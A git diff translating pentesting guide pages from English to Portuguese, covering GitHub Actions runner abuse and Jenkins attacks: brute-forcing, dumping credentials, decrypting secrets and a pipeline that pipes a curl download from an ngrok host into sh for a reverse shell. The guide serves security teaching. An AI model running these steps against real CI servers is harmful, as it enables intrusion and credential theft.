**specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Você pode configurar um ambiente para ser **acessado** por **todos os ramos** (padrão), **apenas ramos protegidos** ou **especificar** quais ramos podem acessá-lo.\ +Também é possível definir um **número de revisões necessárias** antes de **executar** uma **ação** usando um **ambiente** ou **aguardar** algum **tempo** antes de permitir que os deployments prossigam. ### Git Action Runner -A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user. +Uma Github Action pode ser **executada dentro do ambiente github** ou pode ser executada em uma **infraestrutura de terceiros** configurada pelo usuário. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**. +Várias organizações permitirão a execução de Github Actions em uma **infraestrutura de terceiros**, pois costuma ser **mais barato**. -You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Você pode **listar os runners auto-hospedados** de uma organização em _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +A maneira de descobrir quais **Github Actions estão sendo executadas em infraestrutura não github** é procurar por `runs-on: self-hosted` na configuração yaml da Github Action. -It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +**Não é possível executar uma Github Action de uma organização dentro de uma caixa auto-hospedada** de uma organização diferente porque **um token único é gerado para o Runner** ao configurá-lo para saber a qual runner pertence. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with. +Se o **Github Runner personalizado estiver configurado em uma máquina dentro da AWS ou GCP**, por exemplo, a Action **pode ter acesso ao endpoint de metadados** e **roubar o token da conta de serviço** com a qual a máquina está sendo executada. -### Git Action Compromise +### Comprometimento da Git Action -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed. +Se todas as ações (ou uma ação maliciosa) forem permitidas, um usuário pode usar uma **Github action** que é **maliciosa** e irá **comprometer** o **container** onde está sendo executada. > [!CAUTION] -> A **malicious Github Action** run could be **abused** by the attacker to: +> Uma **Github Action maliciosa** executada pode ser **abusada** pelo atacante para: > -> - **Steal all the secrets** the Action has access to -> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**. +> - **Roubar todos os segredos** aos quais a Action tem acesso +> - **Mover lateralmente** se a Action for executada dentro de uma **infraestrutura de terceiros** onde o token SA usado para executar a máquina pode ser acessado (provavelmente via o serviço de metadados) +> - **Abusar do token** usado pelo **workflow** para **roubar o código do repositório** onde a Action é executada ou **até mesmo modificá-lo**. -## Branch Protections +## Proteções de Ramo -Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**. +As proteções de ramo são projetadas para **não dar controle total de um repositório** aos usuários. O objetivo é **implementar vários métodos de proteção antes de poder escrever código dentro de algum ramo**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +As **proteções de ramo de um repositório** podem ser encontradas em _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo. +> **Não é possível definir uma proteção de ramo em nível de organização**. Portanto, todas elas devem ser declaradas em cada repositório. -Different protections can be applied to a branch (like to master): +Diferentes proteções podem ser aplicadas a um ramo (como ao master): -- You can **require a PR before merging** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: - - **Require a number of approvals**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. - - **Dismiss approvals when new commits are pushed**. If not, a user may approve legit code and then the user could add malicious code and merge it. - - **Require reviews from Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) - - **Restrict who can dismiss pull request reviews.** You can specify people or teams allowed to dismiss pull request reviews. - - **Allow specified actors to bypass pull request requirements**. These users will be able to bypass previous restrictions. -- **Require status checks to pass before merging.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Require conversation resolution before merging**. All comments on the code needs to be resolved before the PR can be merged. -- **Require signed commits**. The commits need to be signed. -- **Require linear history.** Prevent merge commits from being pushed to matching branches. -- **Include administrators**. If this isn't set, admins can bypass the restrictions. -- **Restrict who can push to matching branches**. Restrict who can send a PR. +- Você pode **exigir um PR antes de mesclar** (então você não pode mesclar código diretamente sobre o ramo). Se isso for selecionado, outras proteções podem estar em vigor: +- **Exigir um número de aprovações**. É muito comum exigir que 1 ou 2 pessoas adicionais aprovem seu PR, para que um único usuário não possa mesclar código diretamente. +- **Desconsiderar aprovações quando novos commits são enviados**. Caso contrário, um usuário pode aprovar código legítimo e, em seguida, o usuário poderia adicionar código malicioso e mesclá-lo. +- **Exigir revisões de Proprietários de Código**. Pelo menos 1 proprietário de código do repositório precisa aprovar o PR (para que usuários "aleatórios" não possam aprová-lo) +- **Restringir quem pode desconsiderar revisões de pull request.** Você pode especificar pessoas ou equipes autorizadas a desconsiderar revisões de pull request. +- **Permitir que atores especificados contornem os requisitos de pull request**. Esses usuários poderão contornar restrições anteriores. +- **Exigir que verificações de status sejam aprovadas antes de mesclar.** Algumas verificações precisam ser aprovadas antes de poder mesclar o commit (como uma ação do github verificando se não há nenhum segredo em texto claro). +- **Exigir resolução de conversas antes de mesclar**. Todos os comentários sobre o código precisam ser resolvidos antes que o PR possa ser mesclado. +- **Exigir commits assinados**. Os commits precisam ser assinados. +- **Exigir histórico linear.** Impedir que commits de mesclagem sejam enviados para ramos correspondentes. +- **Incluir administradores**. Se isso não estiver definido, os administradores podem contornar as restrições. +- **Restringir quem pode enviar para ramos correspondentes**. Restringir quem pode enviar um PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline. +> Como você pode ver, mesmo que você consiga obter algumas credenciais de um usuário, **repositórios podem estar protegidos, evitando que você envie código para o master**, por exemplo, para comprometer o pipeline de CI/CD. -## References +## Referências - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) @@ -253,7 +247,3 @@ Different protections can be applied to a branch (like to master): - [https://docs.github.com/en/actions/security-guides/encrypted-secrets](https://docs.github.com/en/actions/security-guides/encrypted-secrets) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index 4dfba3ff3..8bad695e5 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -2,35 +2,31 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually. +Jenkins é uma ferramenta que oferece um método simples para estabelecer um **ambiente de integração contínua** ou **entrega contínua** (CI/CD) para quase **qualquer** combinação de **linguagens de programação** e repositórios de código-fonte usando pipelines. Além disso, automatiza várias tarefas de desenvolvimento rotineiras. Embora o Jenkins não elimine a **necessidade de criar scripts para etapas individuais**, ele fornece uma maneira mais rápida e robusta de integrar toda a sequência de ferramentas de construção, teste e implantação do que se pode facilmente construir manualmente. {{#ref}} basic-jenkins-information.md {{#endref}} -## Unauthenticated Enumeration - -In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use: +## Enumeração Não Autenticada +Para procurar páginas interessantes do Jenkins sem autenticação, como (_/people_ ou _/asynchPeople_, que lista os usuários atuais), você pode usar: ``` msf> use auxiliary/scanner/http/jenkins_enum ``` - -Check if you can execute commands without needing authentication: - +Verifique se você pode executar comandos sem precisar de autenticação: ``` msf> use auxiliary/scanner/http/jenkins_command ``` +Sem credenciais, você pode olhar dentro do caminho _**/asynchPeople/**_ ou _**/securityRealm/user/admin/search/index?q=**_ por **nomes de usuário**. -Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**. - -You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_ +Você pode conseguir a versão do Jenkins a partir do caminho _**/oops**_ ou _**/error**_ ![](<../../images/image (146).png>) -### Known Vulnerabilities +### Vulnerabilidades Conhecidas {{#ref}} https://github.com/gquere/pwn_jenkins @@ -38,275 +34,259 @@ https://github.com/gquere/pwn_jenkins ## Login -In the basic information you can check **all the ways to login inside Jenkins**: +Nas informações básicas, você pode verificar **todas as maneiras de fazer login no Jenkins**: {{#ref}} basic-jenkins-information.md {{#endref}} -### Register +### Registro -You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.** +Você poderá encontrar instâncias do Jenkins que **permitem que você crie uma conta e faça login nela. Simples assim.** -### **SSO Login** +### **Login SSO** -Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). +Além disso, se a **funcionalidade**/**plugins** de **SSO** estiverem presentes, você deve tentar **fazer login** no aplicativo usando uma conta de teste (ou seja, uma **conta de teste do Github/Bitbucket**). Dica de [**aqui**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/). ### Bruteforce -**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**. - +**Jenkins** não possui **política de senha** e **mitigação contra brute-force de nomes de usuário**. É essencial **fazer brute-force** em usuários, uma vez que **senhas fracas** ou **nomes de usuário como senhas** podem estar em uso, até mesmo **nomes de usuário invertidos como senhas**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` - ### Password spraying -Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). +Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) ou [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray). -### IP Whitelisting Bypass +### Bypass de Whitelisting de IP -Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs. +Muitas organizações combinam **sistemas de gerenciamento de controle de versão (SCM) baseados em SaaS** como GitHub ou GitLab com uma **solução de CI interna e auto-hospedada** como Jenkins ou TeamCity. Essa configuração permite que os sistemas de CI **recebam eventos de webhook de fornecedores de controle de versão SaaS**, principalmente para acionar jobs de pipeline. -To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**. +Para alcançar isso, as organizações **whitelist** os **intervalos de IP** das **plataformas SCM**, permitindo que acessem o **sistema de CI interno** via **webhooks**. No entanto, é importante notar que **qualquer um** pode criar uma **conta** no GitHub ou GitLab e configurá-la para **acionar um webhook**, potencialmente enviando solicitações para o **sistema de CI interno**. -Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) +Verifique: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) -## Internal Jenkins Abuses +## Abusos Internos do Jenkins -In these scenarios we are going to suppose you have a valid account to access Jenkins. +Nestes cenários, vamos supor que você tenha uma conta válida para acessar o Jenkins. > [!WARNING] -> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.** +> Dependendo do mecanismo de **Autorização** configurado no Jenkins e da permissão do usuário comprometido, você **pode ou não ser capaz de realizar os seguintes ataques.** -For more information check the basic information: +Para mais informações, verifique as informações básicas: {{#ref}} basic-jenkins-information.md {{#endref}} -### Listing users +### Listando usuários -If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) +Se você acessou o Jenkins, pode listar outros usuários registrados em [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) -### Dumping builds to find cleartext secrets - -Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets. +### Dumping de builds para encontrar segredos em texto claro +Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) para despejar as saídas do console de builds e variáveis de ambiente de build para, esperançosamente, encontrar segredos em texto claro. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps gitleaks detect --no-git -v ``` +### **Roubo de Credenciais SSH** -### **Stealing SSH Credentials** - -If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key: +Se o usuário comprometido tiver **privilegios suficientes para criar/modificar um novo nó Jenkins** e as credenciais SSH já estiverem armazenadas para acessar outros nós, ele poderia **roubar essas credenciais** criando/modificando um nó e **definindo um host que registrará as credenciais** sem verificar a chave do host: ![](<../../images/image (218).png>) -You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets). +Você geralmente encontrará credenciais ssh do Jenkins em um **provedor global** (`/credentials/`), então você também pode despejá-las como faria com qualquer outro segredo. Mais informações na seção [**Despejando segredos**](./#dumping-secrets). -### **RCE in Jenkins** +### **RCE no Jenkins** -Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**. +Obter um **shell no servidor Jenkins** dá ao atacante a oportunidade de vazar todos os **segredos** e **variáveis de ambiente** e de **explorar outras máquinas** localizadas na mesma rede ou até mesmo **coletar credenciais de nuvem**. -By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**. +Por padrão, o Jenkins **executa como SYSTEM**. Portanto, comprometê-lo dará ao atacante **privilegios de SYSTEM**. -### **RCE Creating/Modifying a project** +### **RCE Criando/Modificando um projeto** -Creating/Modifying a project is a way to obtain RCE over the Jenkins server: +Criar/Modificar um projeto é uma maneira de obter RCE sobre o servidor Jenkins: {{#ref}} jenkins-rce-creating-modifying-project.md {{#endref}} -### **RCE Execute Groovy script** +### **RCE Executando script Groovy** -You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project: +Você também pode obter RCE executando um script Groovy, que pode ser mais discreto do que criar um novo projeto: {{#ref}} jenkins-rce-with-groovy-script.md {{#endref}} -### RCE Creating/Modifying Pipeline +### RCE Criando/Modificando Pipeline -You can also get **RCE by creating/modifying a pipeline**: +Você também pode obter **RCE criando/modificando um pipeline**: {{#ref}} jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Pipeline Exploitation +## Exploração de Pipeline -To exploit pipelines you still need to have access to Jenkins. +Para explorar pipelines, você ainda precisa ter acesso ao Jenkins. -### Build Pipelines +### Pipelines de Build -**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used: +**Pipelines** também podem ser usados como **mecanismo de build em projetos**, nesse caso pode ser configurado um **arquivo dentro do repositório** que conterá a sintaxe do pipeline. Por padrão, usa-se `/Jenkinsfile`: ![](<../../images/image (127).png>) -It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access. +Também é possível **armazenar arquivos de configuração de pipeline em outros lugares** (em outros repositórios, por exemplo) com o objetivo de **separar** o **acesso** ao repositório e o acesso ao pipeline. -If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\ -It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not). +Se um atacante tiver **acesso de escrita sobre esse arquivo**, ele poderá **modificá-lo** e **potencialmente acionar** o pipeline sem nem mesmo ter acesso ao Jenkins.\ +É possível que o atacante precise **contornar algumas proteções de branch** (dependendo da plataforma e dos privilégios do usuário, elas podem ser contornadas ou não). -The most common triggers to execute a custom pipeline are: +Os gatilhos mais comuns para executar um pipeline personalizado são: -- **Pull request** to the main branch (or potentially to other branches) -- **Push to the main branch** (or potentially to other branches) -- **Update the main branch** and wait until it's executed somehow +- **Pull request** para a branch principal (ou potencialmente para outras branches) +- **Push para a branch principal** (ou potencialmente para outras branches) +- **Atualizar a branch principal** e esperar até que seja executado de alguma forma > [!NOTE] -> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**. +> Se você é um **usuário externo**, não deve esperar criar um **PR para a branch principal** do repositório de **outro usuário/organização** e **acionar o pipeline**... mas se estiver **mal configurado**, você poderia comprometer totalmente empresas apenas explorando isso. -### Pipeline RCE +### RCE de Pipeline -In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline). +Na seção anterior de RCE, já foi indicada uma técnica para [**obter RCE modificando um pipeline**](./#rce-creating-modifying-pipeline). -### Checking Env variables - -It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles: +### Verificando Variáveis de Ambiente +É possível declarar **variáveis de ambiente em texto claro** para todo o pipeline ou para estágios específicos. Essas variáveis de ambiente **não devem conter informações sensíveis**, mas um atacante sempre poderia **verificar todas as configurações do pipeline/Jenkinsfiles:** ```bash pipeline { - agent {label 'built-in'} - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { ``` - ### Dumping secrets -For information about how are secrets usually treated by Jenkins check out the basic information: +Para informações sobre como os segredos são geralmente tratados pelo Jenkins, confira as informações básicas: {{#ref}} basic-jenkins-information.md {{#endref}} -Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines. - -There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**: +As credenciais podem ser **escopadas para provedores globais** (`/credentials/`) ou para **projetos específicos** (`/job//configure`). Portanto, para exfiltrar todos eles, você precisa **comprometer pelo menos todos os projetos** que contêm segredos e executar pipelines personalizados/contaminados. +Há outro problema, para obter um **segredo dentro do env** de um pipeline, você precisa **saber o nome e o tipo do segredo**. Por exemplo, se você tentar **carregar** um **segredo** **`usernamePassword`** como um **segredo** **`string`**, você receberá este **erro**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` - -Here you have the way to load some common secret types: - +Aqui está a maneira de carregar alguns tipos comuns de segredos: ```bash withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) { - sh ''' - env #Search for USERNAME and PASS - ''' +sh ''' +env #Search for USERNAME and PASS +''' } withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) { - sh ''' - env #Search for SECRET - ''' +sh ''' +env #Search for SECRET +''' } withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) { - sh ''' - env # Search for USERPASS - ''' +sh ''' +env # Search for USERPASS +''' } # You can also load multiple env variables at once withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - env - ''' +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +env +''' } ``` - -At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) +No final desta página você pode **encontrar todos os tipos de credenciais**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/) > [!WARNING] -> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\ -> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation). +> A melhor maneira de **extrair todos os segredos de uma vez** é **comprometendo** a máquina **Jenkins** (executando um shell reverso no **nó embutido**, por exemplo) e então **vazando** as **chaves mestres** e os **segredos criptografados** e descriptografando-os offline.\ +> Mais sobre como fazer isso na seção [Nodes & Agents](./#nodes-and-agents) e na seção [Post Exploitation](./#post-exploitation). ### Triggers -From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`. - -Cron example: +Das [documentações](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): A diretiva `triggers` define as **maneiras automatizadas pelas quais o Pipeline deve ser reativado**. Para Pipelines que estão integrados com uma fonte como GitHub ou BitBucket, `triggers` pode não ser necessário, pois a integração baseada em webhooks provavelmente já estará presente. Os gatilhos atualmente disponíveis são `cron`, `pollSCM` e `upstream`. +Exemplo de Cron: ```bash triggers { cron('H */4 * * 1-5') } ``` +Verifique **outros exemplos na documentação**. -Check **other examples in the docs**. +### Nós e Agentes -### Nodes & Agents +Uma **instância do Jenkins** pode ter **diferentes agentes rodando em diferentes máquinas**. Do ponto de vista de um atacante, o acesso a diferentes máquinas significa **diferentes credenciais de nuvem potenciais** para roubar ou **diferente acesso à rede** que poderia ser abusado para explorar outras máquinas. -A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines. - -For more information check the basic information: +Para mais informações, verifique as informações básicas: {{#ref}} basic-jenkins-information.md {{#endref}} -You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more: +Você pode enumerar os **nós configurados** em `/computer/`, você geralmente encontrará o **`Built-In Node`** (que é o nó que executa o Jenkins) e potencialmente mais: ![](<../../images/image (249).png>) -It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information. - -To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config: +É **especialmente interessante comprometer o nó Built-In** porque ele contém informações sensíveis do Jenkins. +Para indicar que você deseja **executar** o **pipeline** no **nó built-in do Jenkins**, você pode especificar dentro do pipeline a seguinte configuração: ```bash pipeline { - agent {label 'built-in'} +agent {label 'built-in'} ``` +### Exemplo completo -### Complete example - -Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell: - +Pipeline em um agente específico, com um gatilho cron, com variáveis de ambiente de pipeline e estágio, carregando 2 variáveis em um passo e enviando um shell reverso: ```bash pipeline { - agent {label 'built-in'} - triggers { cron('H */4 * * 1-5') } - environment { - GENERIC_ENV_VAR = "Test pipeline ENV variables." - } +agent {label 'built-in'} +triggers { cron('H */4 * * 1-5') } +environment { +GENERIC_ENV_VAR = "Test pipeline ENV variables." +} - stages { - stage("Build") { - environment { - STAGE_ENV_VAR = "Test stage ENV variables." - } - steps { - withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), - string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { - sh ''' - curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS - ''' - } - } - } +stages { +stage("Build") { +environment { +STAGE_ENV_VAR = "Test stage ENV variables." +} +steps { +withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'), +string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) { +sh ''' +curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS +''' +} +} +} - post { - always { - cleanWs() - } - } +post { +always { +cleanWs() +} +} } ``` - -## Arbitrary File Read to RCE +## Leitura Arbitrária de Arquivo para RCE {{#ref}} jenkins-arbitrary-file-read-to-rce-via-remember-me.md @@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md jenkins-rce-creating-modifying-pipeline.md {{#endref}} -## Post Exploitation +## Pós Exploração ### Metasploit - ``` msf> post/multi/gather/jenkins_gather ``` - ### Jenkins Secrets -You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**. +Você pode listar os segredos acessando `/credentials/` se tiver permissões suficientes. Note que isso listará apenas os segredos dentro do arquivo `credentials.xml`, mas **arquivos de configuração de build** também podem ter **mais credenciais**. -If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**. +Se você pode **ver a configuração de cada projeto**, você também pode ver lá os **nomes das credenciais (segredos)** sendo usados para acessar o repositório e **outras credenciais do projeto**. ![](<../../images/image (180).png>) @@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md #### From disk -These files are needed to **decrypt Jenkins secrets**: +Esses arquivos são necessários para **descriptografar os segredos do Jenkins**: - secrets/master.key - secrets/hudson.util.Secret -Such **secrets can usually be found in**: +Tais **segredos geralmente podem ser encontrados em**: - credentials.xml - jobs/.../build.xml - jobs/.../config.xml -Here's a regex to find them: - +Aqui está uma regex para encontrá-los: ```bash # Find the secrets grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" @@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` +#### Decryptar segredos do Jenkins offline -#### Decrypt Jenkins secrets offline - -If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**. - +Se você tiver despejado as **senhas necessárias para descriptografar os segredos**, use [**este script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **para descriptografar esses segredos**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT ``` - -#### Decrypt Jenkins secrets from Groovy - +#### Descriptografar segredos do Jenkins a partir do Groovy ```bash println(hudson.util.Secret.decrypt("{...}")) ``` +### Criar novo usuário administrador -### Create new admin user +1. Acesse o arquivo Jenkins config.xml em `/var/lib/jenkins/config.xml` ou `C:\Program Files (x86)\Jenkis\` +2. Procure a palavra `true` e mude a palavra **`true`** para **`false`**. +1. `sed -i -e 's/truefalsetrue` e **reinicie o Jenkins novamente**. -1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\` -2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**. - 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**. - -## References +## Referências - [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins) - [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/) @@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}")) - [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3) {{#include ../../banners/hacktricks-training.md}} - - - - diff 